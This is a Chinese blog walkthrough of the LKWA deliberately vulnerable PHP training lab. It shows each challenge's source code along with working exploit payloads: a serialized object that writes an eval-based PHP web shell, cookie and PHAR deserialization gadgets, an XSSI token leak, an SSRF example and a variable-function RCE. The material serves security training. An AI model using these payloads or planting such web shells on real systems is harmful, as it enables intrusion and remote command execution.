LKWA靶场通关和源码分析

最新推荐文章于 2024-04-28 11:25:26 发布
最新推荐文章于 2024-04-28 11:25:26 发布
阅读量978 收藏 1
点赞数 2
文章标签： php web安全
Aiwin
本文链接：https://blog.csdn.net/weixin_53090346/article/details/128961217
版权

文章目录

一、Blind RCE？

源码：

<?php
include("sidebar.php");
/**
 * Blind RCE
 */
class Rce {
    private $user_input;
    private $level;
    function __construct() {
        $this->user_input = isset($_POST['user_input']) ? $_POST['user_input'] : null;
        $this->level = isset($_POST['level']) ? $_POST['level'] : null;
    }

    function start() {
        if (empty($this->user_input)) {

        }

        else{
                        exec($this->user_input);
        }

    }
}

$rce = new Rce();
if(!empty($_POST))
{
    $rce->start();
}

通过exec()直接传入post的数据，进行命令执行，但是无回显，一般有几种方式，curl外带，dnglog外带，反弹shell等等，这里靶机没有curl，所有curl没法用，当然，可以通过命令执行先下载，再进行curl。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

二、XSSI

源码：

session_start();
include("sidebar.php");
$file = "../api/user";
if(!isset($_SESSION['login_user'])){
header("location: index.php");
}
?>


<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title></title>
    <script src="../jquery/jquery.min.js"></script>
    <script>
         function get(){
                $.ajax(
                {
                 url:"../api/user",
                 type:"GET",
                 async:true,
                 success:function(parse){
                  for (var i in parse){

                      $("#" + i).text(parse[i]);

                  }
                 }
                }
                );
         }
         get();
       </script>
  </head>

<?php
error_reporting(0);
session_start();
if(isset($_SESSION['login_user']) && $_SESSION['login_user'] == "admin"){
  $myObj = new \stdClass();
  $myObj->name = "admin";
  $myObj->token=time()+2*24*60*60;
  $data = json_encode($myObj);
  if(array_key_exists('callback', $_GET)){

      header('Content-Type: text/javascript; charset=utf8');

      header('Access-Control-Max-Age: 3628800');
      header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');

      $callback = $_GET['callback'];
      echo $callback.'('.$data.');';

  }else{
      // normal JSON string
      header('Content-Type: application/json; charset=utf8');

      echo $data;
  }


}
else {
  $myObj = new \stdClass();
  $myObj->name = "";
  $myObj->token="";
  $data = json_encode($myObj);
  if(array_key_exists('callback', $_GET)){

      header('Content-Type: text/javascript; charset=utf8');

      header('Access-Control-Max-Age: 3628800');
      header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');

      $callback = $_GET['callback'];
      echo $callback.'('.$data.');';

  }else{
      // normal JSON string
      header('Content-Type: application/json; charset=utf8');

      echo $data;
  }
}
?>

使用admin，password登录会设置session，传到xssi.php，xssi.php中的$file指的就是api/user.php，而user.php中会用time()函数生成token，然后通过传入的callback参数输出data数据，因此可以调用/api/user触发。

<html>
  <head>
    <title>XSS</title>    
  </head>
<body>
   <script>
	function leak(leaked)
{
	alert(JSON.stringify(leaked));
};
    </script>
    <script src="http://ip:3000/api/user?callback=leak" type="text/javascript"></script>
</body>
</html>

在这里插入图片描述

三、PHP Object Injection

源码：

<?php


class Foo{
    function __construct($filename, $data) {
        $this->filename = $filename . ".txt";
        $this->data = $data;
    }
    function __destruct(){
        file_put_contents($this->filename, $this->data);
    }
}
?>

接收object参数，然后会反序列化object，所以可以触发destruct写入shell。

<?php


class Foo{
    function __construct($filename, $data) {
        $this->filename = $filename;
        $this->data = $data;
    }
}

$a=new Foo("/var/www/html/shell.php",'<?php @eval($_POST["cmd"]);?>');
echo urlencode(serialize($a));

在这里插入图片描述

四、PHP Object Injection(cookie)

源码：

<?php
include("sidebar.php");
include("obj_injection.php");

if (isset($_POST['username']) && isset($_POST['password'])) {
  $username = $_POST['username'];
  $password = $_POST['password'];
  $object = new stdClass();
  $object->user = $username;
  $data = serialize($object);
  if($username === "admin" && $password === "password")
        setcookie("username", $data, time() + (86400 * 30), "/"); // 86400 = 1 day
}

?>
<!DOCTYPE html>
<html>
<head>
        <title>Test</title>
</head>
<body>
        <div class="container-fluid">
          <div class="row">
            <div class="col-lg-12 mb-12">
              <!-- Approach -->
              <div class="card shadow mb-4">
                <div class="card-header py-3">
                  <h6 class="m-0 font-weight-bold text-primary">Object Injection via cookies</h6>
                </div>
                <div class="card-body">
<form action="content.php" method="POST">
  <div class="form-group">
    <label for="exampleInputEmail1">Username</label>
    <input type="text" class="form-control" placeholder="Enter username" name="username">
  </div>
  <div class="form-group">
    <label for="exampleInputPassword1">Password</label>
    <input type="password" class="form-control" id="exampleInputPassword1" placeholder="Password" name="password">
  </div>
  <button type="submit" class="btn btn-primary">Submit</button>
</form>
<?php
if(isset($_COOKIE['username']))
{

  $var = unserialize($_COOKIE['username']);
  echo "<br> Welcome ".$var->user;
}

?>
                </div>
              </div>

            </div>
          </div>
          <?php include("description.php"); ?>
        </div>


</body>
</html>

class Foo{
        public $cmd;
    function __construct() {
    }
    function __destruct(){
        eval($this->cmd);
    }
}

?>

使用序列化的方式生成cookie，然后对cookie中的username进行反序列化输出，Foo类可以进行命令执行，可以通过传入username，触发eval()。

在这里插入图片描述
在这里插入图片描述

五、PHP Object Injection(Referer)

源码：

<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title></title>
  </head>
  <body>
    <div class="container-fluid">
        <div class="row">
          <div class="col-lg-12 mb-12">
            <!-- Approach -->
            <div class="card shadow mb-4">
              <div class="card-header py-3">
                <h6 class="m-0 font-weight-bold text-primary">Object Injection (Object Reference)</h6>
              </div>
              <div class="card-body">
              <form action="objectref.php" method="post">
                <div class="form-group">
                  <label for="exampleInputEmail1">Guess</label>
                  <input type="text" class="form-control" placeholder="Enter number" name="guess">
                  <input type="hidden" name="input" value='O:8:"stdClass":2:{s:5:"guess";N;s:10:"secretCode";R:1;}'>
                </div>
                <button type="submit" class="btn btn-primary">Submit</button>
                <p>
                <p class="text-danger"> Can you win this?.</p>
                  <?php
                  // vuln code
                  if (isset($_POST['guess'])) {
                    // code...
                    $obj = unserialize($_POST['input']);
                    if($obj) {
                        $obj->guess = $_POST['guess'];
                        $obj->secretCode = rand(500000,999999);
                        if($obj->guess === $obj->secretCode) {
                            echo "<p class='text-success'>You Win !!!!!</p>";
                        }
                        else{
                                echo "<p class='text-danger'>Loser!!!!</p>";
                        }
                    }
                  }
                  ?>
                <p>


              </form>
              </div>
            </div>
          </div>
        </div>
        <?php include("description.php"); ?>
    </div>
  </body>
</html>

要我们猜的数字和随机数相等，在不知道种子和前一次结果是几乎不可能做到的，但是可以控制input，使其相等。

<?php
class A{
    var $guess;
    var $secretCode;

}
$a=new A();
$a->guess=$a->secretCode;
echo serialize($a);

在这里插入图片描述

六、PHAR

源码：

<?php
include("sidebar.php");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    if($imageFileType !== "PHAR") {
        $uploadOk = 1;
    } else {
        echo "File is not a PHAR file.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}

// Allow certain file formats
if($imageFileType != "phar") {
    echo "Sorry, only PHAR file is allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

<?php
/**
 * 
 */
include("sidebar.php");

class log
{
        public $filename="log.txt";
        public $data="log";
    function __wakeup(){
        file_put_contents($this->filename, $this->data);
    }
}

if (file_exists($_GET['file'])) {
 $var = new log();
}


?>
<!DOCTYPE html>
<html>
<head>
        <title></title>
</head>
<body>
<div class="container-fluid">
        <div class="row">
                <div class="col-lg-12 mb-12">
                        <!-- Approach -->
                        <div class="card shadow mb-4">
                                <div class="card-header py-3">
                                        <h6 class="m-0 font-weight-bold text-primary">PHAR Deserialization</h6>
                                </div>
                                <div class="card-body">
                                        <form action="upload.php" method="post" enctype="multipart/form-data">
                                                Select PHAR file to upload:<br><br>
                                                <input type="file" name="fileToUpload" id="fileToUpload" class="btn btn-secondary">
                                                <input type="submit" value="Upload PHAR" name="submit" class="btn btn-primary">
                                        </form>

                                </div>
                        </div>

                </div>
        </div>
        <?php include("description.php"); ?>
</div>
</body>

只能传phar，明显使用phar伪协议触发log类的file_put_contents方法进行shell。

<?php
class log
{
public $filename;
public $data;
}
$a=new log();
$a->filename="/var/www/html/phpinfo.php";
$a->data="<?php phpinfo();?>";

$phar = new Phar("shell.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

在这里插入图片描述
在这里插入图片描述

七、SSRF

源码：

<?php
include("sidebar.php");
if (isset($_GET['image'])) {
        # code...
        echo file_get_contents($_GET['image'], true);
}
?>
<!DOCTYPE html>
<html>
<head>
        <title></title>
</head>
<body>
    <div class="container-fluid">

        <!-- Page Heading -->
        <div class="d-sm-flex align-items-center justify-content-between mb-4">
          <h1 class="h3 mb-0 text-gray-800"></h1>
        </div>

        <div class="row">
          <div class="col-lg-12 mb-12">
            <!-- Approach -->
            <div class="card shadow mb-4">
              <div class="card-header py-3">
                <h6 class="m-0 font-weight-bold text-primary">SSRF</h6>
              </div>
              <div class="card-body">
              <form action="index.php" method="GET">
                <div class="form-group">
                  <label for="exampleInputEmail1">Image URL</label>
                  <input type="text" class="form-control" placeholder="Enter url" name="image">
                </div>
                <button type="submit" class="btn btn-primary">Submit</button>
                <p>
              </form>
              <img src="<?php echo $_GET['image']; ?>">
              </div>
            </div>
          </div>
        </div>
        <?php include("description.php"); ?>
    </div>
</body>
</html>

在这里插入图片描述

八、Variables

源码：

<?php 
include("sidebar.php");

?>
<!DOCTYPE html>
<html>
<head>
    <title>Variables variable</title>
</head>
<body>
    <div class="container-fluid">
        <div class="row">
          <div class="col-lg-12 mb-12">
            <div class="card shadow mb-4">
              <div class="card-header py-3">
                <h6 class="m-0 font-weight-bold text-primary">Variables variable</h6>
              </div>
              <div class="card-body">
                <!-- vuln form -->
                    <form action="variable.php" method="GET">
                      <div class="form-group">
                        <label for="exampleInputPassword1">String to dump</label>
                        <input type="hidden" name="func" value="var_dump">
                        <input type="text" class="form-control" id="exampleInputPassword1" name="input" placeholder="string">
                      </div>
                      <button type="submit" class="btn btn-primary">Submit</button>
                    </form>   
                    <br>
                    <p class="text-danger">Output:</p>
                    <p id="output">
                        <?php 
                                                        if (isset($_GET['func']) && isset($_GET['input'])) {
                                                                $var = $_GET['func'];
                                                                ${"var"}($_GET['input']);
                                                        }
                        ?>

                    </p>                
              </div>
            </div>

          </div>

        </div>


          <?php include("description.php"); ?>
    </div>

</body>
</html>

直接拼接了两个参数，那么就可以直接进行命令执行，但是要回显，因此可以使用passthru，当然这里也可以直接反弹shell，方式很多。

在这里插入图片描述
在这里插入图片描述

总结

简单、基础、好玩！
靶场地址：lkwa的某docker镜像地址

M03-Aiwin
关注
  • 2
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
DVWA靶场源码分享
12-11
学习使用，大家一起进步，此资源是为了无法在github上临时下载的同学分享，以备用，不需要积分，如果被调整了积分请联系UP主
Web漏洞练习靶场推荐——LKWA Docker版本
微风飘呀飘
05-31 3360
最近在发现了一个不错的Web漏洞练习靶场——LKWA 它包含了八种Web漏洞： Blind RCE XSSI PHP Object Injection PHP Object Injection via Cookies PHP Object Injection (Object Reference) PHAR Deserialization SSRF Variables variable 项目地址： https://github.com/weev3/LKWA 部署方法： # Clon
[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解
qq_58091216的博客
09-25 460
13. 我们切换语句进入shell，执行whoami查看当前权限，执行ls查看当前目录下文件，切换到root目录，查看文件，发现cat thefinalflag.txt文件。15. 此时我们查看 /etc/passwd 文件，发现存在 flag4 用户，我们也可以使用 hydra 进行爆破。2) 查看数据库，切换到drupaldb数据库，查看查找默认的Drupal user 表，发现admin信息。5. 虚拟机开启之后需要登录，我们不知道密码，需要探活ip地址，网段知道:192.168.52.0/24。
php特性靶场
LS_Sy的博客
02-03 994
所以加字母传入不能使用了，但php有个特殊的字母：e，可以表示科学计数法，但是当intval()读取到e的时候就会停止，所以可以在末尾加e进行传参最终得到flag。}来检查 $num 是否包含任何字母，如果存在字母则终止程序并输出 no no no!这道题也与上一题大体上类似，区别在于新加了if(preg_match(“/[a-z]/i”, $num)){die(“no no no!
web综合靶场-LazysysAdmin
qq_62638044的博客
04-02 526
查找现有的（和/或隐藏的）Web对象，通过对Web服务器发起基于字典的攻击并分析响应的数据。采用递归的方式来获取更多的目录，它还支持代理和http认证限制访问的网站，其中：-t指定文件系统类型，i表示internet，f表示file,s表示system，-o描述设备或者档案的挂接方式。对主机进行端口扫描，发现开放了22，80，139，445，3306，6667端口。在配置文件中，含有目标主机服务器的各项配置信息，若被攻击者看到，风险极高。尝试使用用户名：togie，密码：12345，并未登录成功；
综合开源靶场搭建
qq_53058639的博客
03-15 995
没学过的同学也不要慌，可以去B站搜索相关视频，你搜关键词网络安全工程师会出现很多相关的视频教程，我粗略的看了一下，排名第一的视频就讲的很详细。安装完成以后，登入到vulfocus平台，点击镜像管理->添加->勾选sqli-labs->点击一键导入，之后我们就可以在菜单栏首页，参看到sqli-labs的靶场环境了。从时代发展的角度看，网络安全的知识是学不完的，而且以后要学的会更多，同学们要摆正心态，既然选择入门网络安全，就不能仅仅只是入门程度而已，能力越强机会才越多。
[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 (附靶机搭建教程)
qq_51577576的博客
04-05 1463
[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 从信息收集到拿到低权限，最后提权获取最高权限，详细解读
自己写一个php上传靶场,upload-lab靶场PHP源码
weixin_39730671的博客
03-18 163
代码片段和文件信息属性大小日期时间名称---------------------------------------目录02020-03-1316:07Pass-01\文件1222020-01-1522:38Pass-01\helper.php文件250920...
php自查无后门靶场源码，渗透测试源码一套
03-22
php自查无后门靶场源码，渗透测试源码一套，喜欢的点个关注呗 接下来会慢慢上资源
LKWA靶场算是DVWA进阶吧
09-24
LKWA靶场 包含以下漏洞： - Blind RCE - XSSI - PHAR Deserialization - PHP Object Injection - PHP Object Injection via Cookies - PHP Object Injection (Object Reference) - SSRF - Variables variable
2021-06-12LKWA靶场（搭建+转载他人笔记的链接）
qq_45290991的博客
06-12 569
一、环境搭建 国内很难搞了，但是幸好有大神area39大佬！docker-hub上的。。 docker pull area39/lkwa:latest docker run -d -p 3000:80 area39/lkwa:latest 拉取之后镜像存在这个位置： docker images查镜像（这里我多下了一个）： 结果发现不行，kali无法访问lkwa所映射的3000端口……，查了很多资料，最后按照这篇文章的排查方法发现是重启可以解决：解决Docker端口映射无法访问问题 背后
mysql后台注入靶场源码.rar
04-21
该资源为存在漏洞的网站源码，学习web安全的小伙伴可以用来搭建环境做测试用 方法： 上传所有文件到空间根目录下，运行http://你的域名/install进行安装 安装过程遇到的数据库用户名和密码可以咨询空间你的空间商 不需要会员功能可以删除member目录 安装完成后更改admin目录为你的后台目录名，更改后的访问地址为 http://你的域名/修改的后台目录名 安装完成后请及时删除install目录
pikachu靶场全部通关.pdf
08-16
由于在有道云写的，不好发博客，只能这样子，个人结合B站视频，总结
dvwa靶场通关之sql injection
07-19
dvwa靶场通关之sql injection
pikachu靶场全通关教程
07-20
这个是刚开始学网络安全渗透的靶场练习心得，分享给大家
pikachu靶场通关
11-19
pikachu靶场通关
supervisor 简单理解
最新发布
qq_42857358的博客
04-28 198
test.ini文件内容。
2024 XYCTF Web 方向 wp 全解
qq_39947980的博客
04-27 980
XYCTF 2024 Web 方向全解
【PHP】sign加签方法示例
q8688的博客
04-25 409
【代码】【PHP】sign加签方法示例。
vulnhub靶场通关
09-09
通关vulnhub靶场需要进行一系列的渗透测试和漏洞利用操作。根据引用中提供的目录，以下是一个通关vulnhub靶场的大致步骤： 1. 环境搭建：下载靶场环境，并启动靶场环境。 2. 信息收集：通过探测靶机真实IP和开放的...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M03-Aiwin

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值